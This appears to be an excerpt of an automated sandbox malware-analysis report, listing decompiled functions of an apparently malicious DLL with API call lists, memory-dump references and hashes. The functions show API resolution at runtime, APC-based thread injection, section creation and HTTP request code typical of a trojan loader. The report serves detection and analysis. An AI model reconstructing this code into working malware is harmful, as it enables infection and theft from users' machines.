					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x3ad9601
					_t40 = E02C533DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E02C55063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E02C561DA(_t40);
						_t42 = E02C54AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E02C561DA(_t36);
							_t36 = _t42;
						}
						_t43 = E02C52708(_t36, _t33);
						if(_t43 != 0) {
							E02C561DA(_t36);
							_t36 = _t43;
						}
					}
					E02C561DA(_t28);
				}
				return _t36;
			}
















                  0x02c56675
                  0x02c56678
                  0x02c56679
                  0x02c56680
                  0x02c56687
                  0x02c5668e
                  0x02c56692
                  0x02c56699
                  0x02c566a0
                  0x02c566a5
                  0x02c566ad
                  0x02c566b7
                  0x02c566bb
                  0x02c566bf
                  0x02c566c5
                  0x02c566ca
                  0x02c566d4
                  0x02c566da
                  0x02c566dc
                  0x02c566f3
                  0x02c566f7
                  0x02c566fa
                  0x02c566ff
                  0x02c566ff
                  0x02c56708
                  0x02c5670c
                  0x02c5670f
                  0x02c56714
                  0x02c56714
                  0x02c5670c
                  0x02c56717
                  0x02c5671c
                  0x02c56722

                  APIs
                    • Part of subcall function 02C55815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,02C5668E,253D7325,00000000,00000000,?,7491C740,02C53ECE), ref: 02C5587C
                    • Part of subcall function 02C55815: sprintf.NTDLL ref: 02C5589D
                  • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566A0
                  • lstrlen.KERNEL32(00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566A8
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • strcpy.NTDLL ref: 02C566BF
                  • lstrcat.KERNEL32(00000000,00000000), ref: 02C566CA
                    • Part of subcall function 02C55063: lstrlen.KERNEL32(00000000,00000000,02C53ECE,00000000,?,02C566D9,00000000,02C53ECE,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C55074
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,02C53ECE,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566E7
                    • Part of subcall function 02C54AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,02C566F3,00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C54AD1
                    • Part of subcall function 02C54AC7: _snprintf.NTDLL ref: 02C54B2F
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                  • String ID: =
                  • API String ID: 2864389247-1428090586
                  • Opcode ID: b68f542bb6f025e51ad475f514e9e9c53a6fb6dcc1bb996006099a64fa349c36
                  • Instruction ID: 47837d90ce48cfb7f909ade72161151c5d04c64894023a74c9aa7d49ba1a6f83
                  • Opcode Fuzzy Hash: b68f542bb6f025e51ad475f514e9e9c53a6fb6dcc1bb996006099a64fa349c36
                  • Instruction Fuzzy Hash: 4611A333D01235A74A12BB78DC84C6F3AAE9E896A43590515FD04A7101DF34DAC26BE8
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5861E Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • BSUZnYlubCPfUobkskAPwGSmwide, xrefs: 6CB58BE0
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: BSUZnYlubCPfUobkskAPwGSmwide
                  • API String ID: 1384045349-1939733658
                  • Opcode ID: 6da1ac7502bac9d8e232a1120be3a00fa8fa912be5c13a403d75f014eadf26b0
                  • Instruction ID: db52c2bcf06d3aa89dd68b576b1bd1ceafe6377b285bda26279c565ee597cf77
                  • Opcode Fuzzy Hash: 6da1ac7502bac9d8e232a1120be3a00fa8fa912be5c13a403d75f014eadf26b0
                  • Instruction Fuzzy Hash: D4129CB4D5A2A8CBDF24CF44C894BEDB7B5AB45308F4480DAC0096BB84DB719AD8CF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF1142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E02BF2046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x2bf41c4 + 0x2bf512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x2bf41c4 + 0x2bf5139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E02BF1CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x2bf41c4 + 0x2bf5000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x2bf41c4 + 0x2bf50b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x2bf41c4 + 0x2bf505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x2bf41c4 + 0x2bf5052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E02BF1E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                  0x02bf1150
                  0x02bf1154
                  0x02bf1215
                  0x02bf115a
                  0x02bf1172
                  0x02bf1181
                  0x02bf1188
                  0x02bf118a
                  0x02bf118f
                  0x02bf120d
                  0x02bf120e
                  0x02bf1191
                  0x02bf119e
                  0x02bf11a0
                  0x02bf11a5
                  0x00000000
                  0x02bf11a7
                  0x02bf11b4
                  0x02bf11b6
                  0x02bf11bb
                  0x00000000
                  0x02bf11bd
                  0x02bf11ca
                  0x02bf11cc
                  0x02bf11d1
                  0x00000000
                  0x02bf11d3
                  0x02bf11e0
                  0x02bf11e2
                  0x02bf11e7
                  0x00000000
                  0x02bf11e9
                  0x02bf11ef
                  0x02bf11f5
                  0x02bf11fa
                  0x02bf11ff
                  0x02bf1204
                  0x00000000
                  0x02bf1206
                  0x02bf1209
                  0x02bf1209
                  0x02bf1204
                  0x02bf11e7
                  0x02bf11d1
                  0x02bf11bb
                  0x02bf11a5
                  0x02bf118f
                  0x02bf1223

                  APIs
                    • Part of subcall function 02BF2046: RtlAllocateHeap.NTDLL(00000000,?,02BF124D,00000030,74CB63F0,00000000), ref: 02BF2052
                  • GetModuleHandleA.KERNEL32(?,00000020), ref: 02BF1166
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02BF1188
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02BF119E
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02BF11B4
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02BF11CA
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02BF11E0
                    • Part of subcall function 02BF1E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 02BF1ED3
                    • Part of subcall function 02BF1E76: memset.NTDLL ref: 02BF1EF5
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                  • String ID:
                  • API String ID: 3012371009-0
                  • Opcode ID: fbd1160c38f03cb355fbc4bc422fc82372d9a57c1b940c53701804e6f3063e94
                  • Instruction ID: 7f0ab258dd8bbbde1ea573549e099f62e83a7a6596669c285df589d09124a096
                  • Opcode Fuzzy Hash: fbd1160c38f03cb355fbc4bc422fc82372d9a57c1b940c53701804e6f3063e94
                  • Instruction Fuzzy Hash: EF213E70A0060AEFD790DFADC844D5777ECEF0434470149A5E759D7251EB30EA588F60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF17EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 86%
                  			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x2bf4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x2bf418c;
						if( *0x2bf418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x2bf4198;
								if( *0x2bf4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x2bf418c);
						}
						HeapDestroy( *0x2bf4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x2bf4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x2bf4190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x2bf41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E02BF1F97(E02BF1FF5, E02BF1DF6(_a12, 1, 0x2bf4198, _t41));
							 *0x2bf418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                  0x02bf17f2
                  0x02bf17fe
                  0x02bf1800
                  0x02bf1803
                  0x02bf1879
                  0x02bf187f
                  0x02bf1881
                  0x02bf1883
                  0x02bf1889
                  0x02bf188b
                  0x02bf1890
                  0x02bf1893
                  0x02bf189e
                  0x02bf18a0
                  0x00000000
                  0x00000000
                  0x02bf18a2
                  0x02bf18a5
                  0x02bf18a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02bf18a7
                  0x02bf18af
                  0x02bf18af
                  0x02bf18bb
                  0x02bf18bb
                  0x02bf1805
                  0x02bf1806
                  0x02bf1826
                  0x02bf182c
                  0x02bf1831
                  0x02bf1833
                  0x02bf186f
                  0x02bf186f
                  0x02bf1835
                  0x02bf183d
                  0x02bf1844
                  0x02bf184e
                  0x02bf185a
                  0x02bf185f
                  0x02bf1866
                  0x02bf186b
                  0x00000000
                  0x02bf186b
                  0x02bf1866
                  0x02bf1833
                  0x02bf1806
                  0x02bf18c8

                  APIs
                  • InterlockedIncrement.KERNEL32(02BF4188), ref: 02BF1811
                  • HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 02BF1826
                    • Part of subcall function 02BF1F97: CreateThread.KERNELBASE ref: 02BF1FAE
                    • Part of subcall function 02BF1F97: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 02BF1FC3
                    • Part of subcall function 02BF1F97: GetLastError.KERNEL32(00000000), ref: 02BF1FCE
                    • Part of subcall function 02BF1F97: TerminateThread.KERNEL32(00000000,00000000), ref: 02BF1FD8
                    • Part of subcall function 02BF1F97: CloseHandle.KERNEL32(00000000), ref: 02BF1FDF
                    • Part of subcall function 02BF1F97: SetLastError.KERNEL32(00000000), ref: 02BF1FE8
                  • InterlockedDecrement.KERNEL32(02BF4188), ref: 02BF1879
                  • SleepEx.KERNEL32(00000064,00000001), ref: 02BF1893
                  • CloseHandle.KERNEL32 ref: 02BF18AF
                  • HeapDestroy.KERNEL32 ref: 02BF18BB
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                  • String ID:
                  • API String ID: 2110400756-0
                  • Opcode ID: 2c5664e3c67a3c60bf3e69d3289f5afc55d88a4070fee7f20b7998c74547859a
                  • Instruction ID: cf6bcf4743aa2dfa695457b8bb95cd8d93584e14aefca58c615512870793a70d
                  • Opcode Fuzzy Hash: 2c5664e3c67a3c60bf3e69d3289f5afc55d88a4070fee7f20b7998c74547859a
                  • Instruction Fuzzy Hash: 0E219F31E50245EBDBD09F6DE984A1A7FF8F7547A07004DA6F709E3140D7309A588B50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB41100 Relevance: 9.1, APIs: 6, Instructions: 69windowCOMMON
                  Download Yara Rule
                  APIs
                  • CreateDialogParamA.USER32(6CB40000,00000002,00000000,6CB411D0,00000000), ref: 6CB41157
                  • CloseWindow.USER32 ref: 6CB41161
                  • DestroyWindow.USER32(?), ref: 6CB4119B
                  • PostQuitMessage.USER32(00000000), ref: 6CB411A5
                  • DefWindowProcA.USER32(?,?,?,?), ref: 6CB411BD
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: Window$CloseCreateDestroyDialogMessageParamPostProcQuit
                  • String ID:
                  • API String ID: 4102919609-0
                  • Opcode ID: e2e55b6fec4a082dc0a52f1106ad88830674f7bac16c8a014c37b7122250f290
                  • Instruction ID: 2f9a6b1d69bdd5bb476a7a2edf450bcb42ede341232db559c2045ec4e7f5f96c
                  • Opcode Fuzzy Hash: e2e55b6fec4a082dc0a52f1106ad88830674f7bac16c8a014c37b7122250f290
                  • Instruction Fuzzy Hash: BB214875A89248EFDF04CF99C844AAA77B8EB4A301F14C518FA1587688D770EA50EF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C551D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C551D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E02C52058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E02C57B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                  0x02c551d8
                  0x02c551e5
                  0x02c551e7
                  0x02c5524a
                  0x00000000
                  0x02c5524a
                  0x02c551ff
                  0x02c55206
                  0x02c55212
                  0x02c55217
                  0x02c5522d
                  0x02c5523d
                  0x00000000
                  0x02c5522f
                  0x02c5522f
                  0x02c55236
                  0x02c55243
                  0x02c55243
                  0x02c55243
                  0x02c55236
                  0x02c5522d
                  0x02c55248
                  0x00000000
                  0x00000000
                  0x02c5524e

                  APIs
                  • ResetEvent.KERNEL32(?,00000008,?,?,00000102,02C521E7,?,?,74CF81D0,00000000), ref: 02C55212
                  • ResetEvent.KERNEL32(?), ref: 02C55217
                  • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 02C55224
                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,02C53F34,00000000,?,?), ref: 02C5522F
                  • GetLastError.KERNEL32(?,?,00000102,02C521E7,?,?,74CF81D0,00000000), ref: 02C5524A
                    • Part of subcall function 02C52058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,02C551F7,?,?,?,?,00000102,02C521E7,?,?,74CF81D0), ref: 02C52064
                    • Part of subcall function 02C52058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02C551F7,?,?,?,?,00000102,02C521E7,?), ref: 02C520C2
                    • Part of subcall function 02C52058: lstrcpy.KERNEL32(00000000,00000000), ref: 02C520D2
                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,02C53F34,00000000,?), ref: 02C5523D
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                  • String ID:
                  • API String ID: 3739416942-0
                  • Opcode ID: 6ad28bea0a994547f358e6d3a54a853d311542a95d31841fc9ec0496428b18c8
                  • Instruction ID: b7ef04257d8e6f96012f2dece2868b091a862a669999c2d2c7e3c08daf85cb46
                  • Opcode Fuzzy Hash: 6ad28bea0a994547f358e6d3a54a853d311542a95d31841fc9ec0496428b18c8
                  • Instruction Fuzzy Hash: B5016D71100320EADB306B71DC44F1BBBA9BFC83A4F500B29F995E10E0D721E594DBA9
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF1F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x2bf41c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                  0x02bf1fae
                  0x02bf1fb4
                  0x02bf1fb8
                  0x02bf1fc3
                  0x02bf1fcb
                  0x02bf1fd4
                  0x02bf1fd8
                  0x02bf1fdf
                  0x02bf1fe6
                  0x02bf1fe8
                  0x02bf1fee
                  0x02bf1fcb
                  0x02bf1ff2

                  APIs
                  • CreateThread.KERNELBASE ref: 02BF1FAE
                  • QueueUserAPC.KERNELBASE(?,00000000,?), ref: 02BF1FC3
                  • GetLastError.KERNEL32(00000000), ref: 02BF1FCE
                  • TerminateThread.KERNEL32(00000000,00000000), ref: 02BF1FD8
                  • CloseHandle.KERNEL32(00000000), ref: 02BF1FDF
                  • SetLastError.KERNEL32(00000000), ref: 02BF1FE8
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                  • String ID:
                  • API String ID: 3832013932-0
                  • Opcode ID: 5dbe2295c0a1e5f7b0de9ccf69925b49200f1abea6e9f38cf3292cac1ff2321e
                  • Instruction ID: f99e4e74082d9a6ef06aa7c8b38e9a5a3714f304dbe81ca0259b7356da98f698
                  • Opcode Fuzzy Hash: 5dbe2295c0a1e5f7b0de9ccf69925b49200f1abea6e9f38cf3292cac1ff2321e
                  • Instruction Fuzzy Hash: A7F01232D85660FBD7925BB4AC48F5BBFE9FF08791F014C46F70596554C73188208BA5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C52523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 59%
                  			E02C52523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E02C54520();
				if(_t21 != 0) {
					_t60 =  *0x2c5a2fc; // 0x2000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x2c5a2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x2c5a178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E02C53037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x2c5a348; // 0xe7d5a8
					if( *0x2c5a2fc > 5) {
						_t8 = _t26 + 0x2c5b51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x2c5b9db; // 0x44283a44
						_t27 = _t7;
					}
					E02C54332(_t27, _t27);
					_t31 = E02C5415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E02C527A0();
						 *0x2c5a310 =  *0x2c5a310 ^ 0x81bbe65d;
						 *0x2c5a36c = _t32;
						_t33 = E02C533DC(0x60);
						 *0x2c5a3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x2c5a3cc; // 0x3ad9600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x2c5a3cc; // 0x3ad9600
							 *_t52 = 0x2c5b142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x2c5a2d8, 0, 0x43);
							 *0x2c5a368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x2c5a2fc; // 0x2000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x2c5a348; // 0xe7d5a8
								_t13 = _t59 + 0x2c5b74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x2c5927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E02C53BD3( ~_v8 &  *0x2c5a310, 0x2c5a00c); // executed
								_t55 = E02C51D8A(0, _t56, _t62, _t64, 0x2c5a00c);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E02C56EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E02C56815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E02C55C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x2c5a17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E02C523C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                  0x02c52523
                  0x02c5252d
                  0x02c52530
                  0x02c52533
                  0x02c52536
                  0x02c5253d
                  0x02c5253f
                  0x02c5254b
                  0x02c5254d
                  0x02c5254d
                  0x02c52556
                  0x02c5255c
                  0x02c52561
                  0x02c5257b
                  0x02c52587
                  0x02c52589
                  0x02c5258e
                  0x02c52598
                  0x02c52598
                  0x02c52590
                  0x02c52590
                  0x02c52590
                  0x02c52590
                  0x02c5259f
                  0x02c525ac
                  0x02c525b3
                  0x02c525b8
                  0x02c525b8
                  0x02c525c1
                  0x02c525c4
                  0x02c525ea
                  0x02c525ef
                  0x02c525fb
                  0x02c52600
                  0x02c52605
                  0x02c5260a
                  0x02c5260c
                  0x02c52638
                  0x02c5263a
                  0x02c5260e
                  0x02c52612
                  0x02c52617
                  0x02c5261c
                  0x02c52623
                  0x02c52629
                  0x02c5262e
                  0x02c52634
                  0x02c5263b
                  0x02c5263d
                  0x02c5263f
                  0x02c5264e
                  0x02c52654
                  0x02c52659
                  0x02c5265b
                  0x02c5268b
                  0x02c5268d
                  0x02c5265d
                  0x02c5265d
                  0x02c52663
                  0x02c52670
                  0x02c52676
                  0x02c52676
                  0x02c5267e
                  0x02c52687
                  0x02c5268e
                  0x02c52690
                  0x02c52692
                  0x02c52699
                  0x02c526a6
                  0x02c526b0
                  0x02c526b2
                  0x02c526b4
                  0x00000000
                  0x00000000
                  0x02c526b6
                  0x02c526bb
                  0x02c526bd
                  0x02c526c4
                  0x02c526c8
                  0x02c526cb
                  0x02c526e0
                  0x02c526e4
                  0x02c526e9
                  0x00000000
                  0x02c526e9
                  0x02c526cd
                  0x02c526cf
                  0x00000000
                  0x00000000
                  0x02c526da
                  0x02c526dc
                  0x02c526de
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c526de
                  0x02c526c1
                  0x02c526c1
                  0x02c52692
                  0x02c525c6
                  0x02c525c6
                  0x02c525cb
                  0x02c526eb
                  0x02c526f0
                  0x02c526f8
                  0x02c526f8
                  0x00000000
                  0x02c526f0
                  0x02c525d1
                  0x02c525d4
                  0x02c525de
                  0x02c525e5
                  0x00000000
                  0x02c52700
                  0x02c52700
                  0x02c52703
                  0x02c52707
                  0x02c52707

                  APIs
                    • Part of subcall function 02C54520: GetModuleHandleA.KERNEL32(4C44544E,00000000,02C5253B,00000001), ref: 02C5452F
